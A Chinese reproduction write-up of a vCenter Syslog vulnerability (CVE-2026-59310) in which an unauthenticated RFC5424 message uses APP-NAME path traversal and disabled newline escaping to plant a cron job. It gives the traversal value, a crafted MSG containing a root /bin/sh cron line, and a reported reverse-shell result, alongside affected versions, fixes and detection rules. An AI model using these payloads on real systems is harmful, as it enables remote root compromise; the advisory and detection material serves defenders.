一条日志报文拿到vCenter的root:CVE-2026-59310复现记录

admin 2026-09-30 04:58:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细复现了CVE-2026-59310漏洞,该漏洞影响VMwarevCenter的Syslog服务,CVSS评分9.8,无需凭据即可通过UDP报文实现远程代码执行。漏洞由三个缺陷叠加构成:动态路径模板拼接不可信字段导致目录遍历、日志选择器前缀匹配缺陷、关闭换行转义使文件行结构可控,最终可写入cron.d目录实现root权限提升。文章提供了完整复现过程、影响范围、检测方法和修复版本信息,建议受影响用户立即升级至修复版本。 综合评分: 90 文章分类: 漏洞分析,应急响应,漏洞预警,解决方案,安全工具


一条日志报文拿到 vCenter 的 root:CVE-2026-59310 复现记录

松杨网络安全资料库

2026年9月29日 17:09 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

一个不需要凭据的 UDP 报文,写进目录,一分钟后以 root 身份执行命令。


一、漏洞背景

| 项 | 内容 | | — | — | | 编号 | CVE-2026-59310 | | 上游根因 | GHSA-xmp9-244p-5ggv / CVE-2026-92709(rsyslog omfiledynaFile 路径遍历) | | 组件 | vCenter Syslog 接收服务(内置 rsyslog,VMware 定制配置) | | 类型 | 目录遍历 → 任意文件写入 → 本地提权至 root(RCE) | | CVSS 3.1 | 9.8(AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H) | | 认证 | 不需要 | | 触达方式 | 网络可达 UDP/514、TCP/514、TLS/1514 | | 官方 workaround | None (只能升级或网络隔离) |

影响范围

| 分支 | 受影响 | 修复版本 | | — | — | — | | vCenter 9.1 | < 9.1.0.0300 | 9.1.0.0300 | | vCenter 9.0 | < 9.0.2.0100 | 9.0.2.0100(Build 25629525) | | vCenter 8.0 U3 | < 8.0 U3k | 8.0 U3k | | vCenter 8.0 U2 | < 8.0 U2f | 8.0 U2f | | vCenter 8.0 初始版 / U1 | 受影响 | 升级分支 | | vCenter 7.0 | 受影响 | 需扩展支持补丁,否则迁移 | | VCF 5.x / vSphere Foun dation / Telco Cloud | 含 vCenter 组件,同样受影响 | 按对应 KB 打补丁 |

缺陷链概览

三个独立缺陷叠在一起构成 RCE:

| | 缺陷 | 位置 | 作用 | | — | — | — | — | | ① | 动态路径模板 直接拼接不可信字段 | 落盘模板, %app-name%同时作目录名与文件名 | 提供穿越能力 | | ② | 日志选择器用前缀匹配 | 规则 :app-name, startswith, "rsyslog" | 让 APP-NAME 以 rsyslog开头即命中 | | ③ | 关闭换行转义 | $EscapeControlCharactersOnReceive off | 让文件行结构可控, 这是 RCE 的关键 |


二、漏洞原理

漏洞的成因就在一条模板和两个开关上。

第一个是落盘模板。vCenter 那份配置里,日志的路径是拼出来的:

$template&nbsp;rsyslogadminLoc,&nbsp;"/var/log/vmware/%app-name%/%app-name%-syslog.log"

%app-name%出现了两次,一次当目录名,一次当文件名前缀。而 app-name来自 RFC5424 报文里的 APP-NAME 字段,受攻击者控制:

/var/log/vmware/rsyslog/../../../../../etc/cron.d/cve59310abcd
└─── 模板给的起点 ───┘└──── 发包的人填的 APP-NAME ────┘

归一化后落在 /etc/cron.d/,模板再补 -syslog.log后缀。omfile的 dynaFile writer 还默认自动创建缺失的父目录,追加写入。

第二个是解析器的差异,用 RFC5424 报文:

| 解析器 | 收到 rsyslog/../../../../tmp/x时 APP-NAME 的实际取值 | | — | — | | pmrfc3164 | rsyslog ← 在 /处被截断,穿透失败且静默无报错 | | pmrfc5424 | rsyslog/../../../../tmp/x ← 完整保留 |

第三个是换行转义开关。单单能写文件还不够,/etc/cron.d/下的文件是按行解析的。正常情况下 rsyslog 会把报文里的换行转义成 #012,防止注入伪造日志条目;vCenter 那份配置把它关掉了:

$EscapeControlCharactersOnReceive&nbsp;off

换行原样落盘,攻击者就拿到了文件内容的行结构控制权。模板会自动在每条日志前面加一段前缀,所以注入的 MSG 要用前导换行把前缀挤成废行,再用尾部 #注释掉多余的部分:

APP-NAME = rsyslog/../../../../../etc/cron.d/cve59310abcd
MSG &nbsp; &nbsp; &nbsp;=&nbsp;"\n* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'\n#"

落盘结果:

2026-01-05T12:00:00Z info h rsyslog/../../../../../etc/cron.d/cve59310abcd &nbsp; ← 模板前缀,废行
* * * * * root /bin/sh -c&nbsp;'{ id; } > /tmp/out.txt 2>&1'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 注入行,合法
# &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ← 尾注释

三、漏洞复现

3.1 环境

| 项 | 值 | | — | — | | 靶机 | 192.168.50.136(Ubuntu,Docker) | | 靶场 | 容器 rsyslog-cve-2026-59310,基于 almalinux:9+ cronie 1.5.7 | | 组件 | rsyslog 8.2510.0,复刻 vCenter 出厂配置 | | 端口 | 514/udp、514/tcp | | 攻击机 | 同宿主,Python 3 |

反弹 shell 验证通过,拿到交互式 root:

[*] 回连成功,来自 192.168.x.x:42774 &nbsp;—— root shell 已建立
root@ad638461243b:~#&nbsp;id
uid=0(root) gid=0(root)&nbsp;groups=0(root)


四、修复方式

4.1 官方修复(vCenter)

| 分支 | 修复版本 | | — | — | | 9.1 | 9.1.0.0300 | | 9.0 | 9.0.2.0100(Build 25629525) | | 8.0 U3 | 8.0 U3k | | 8.0 U2 | 8.0 U2f | | VCF 5.x | 见 KB88287 | | Telco Cloud | 见 KB449886 |

4.2 检测与排查

排查文件:

find / -name&nbsp;'*-syslog.log'&nbsp;-not -path&nbsp;'/var/log/vmware/*'

日志目录外的 *-syslog.log是明确的入侵痕迹——正常业务不会在 /tmp、/etc/cron.d/、htdocs 目录下生成这种命名规则的文件。

其余判据:

| 层面 | 规则 | | — | — | | 网络 | dst_port 为 514 / 1514 且 payload 含 ../或 %2e%2e%2f | | 文件 | /etc/cron.d/ 下出现带 -syslog.log后缀的条目 | | 文件 | rsyslogd 进程写入 /opt/vmware/share/htdocs/下的文件 | | YARA | 匹配 RFC5424 PRI + version 前缀 + 遍历序列 + 目标路径片段(etc/cron.d、opt/vmware/share/htdocs) |



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:松杨网络安全资料库 《一条日志报文拿到 vCenter 的 root:CVE-2026-59310 复现记录》

    评论:0   参与:  0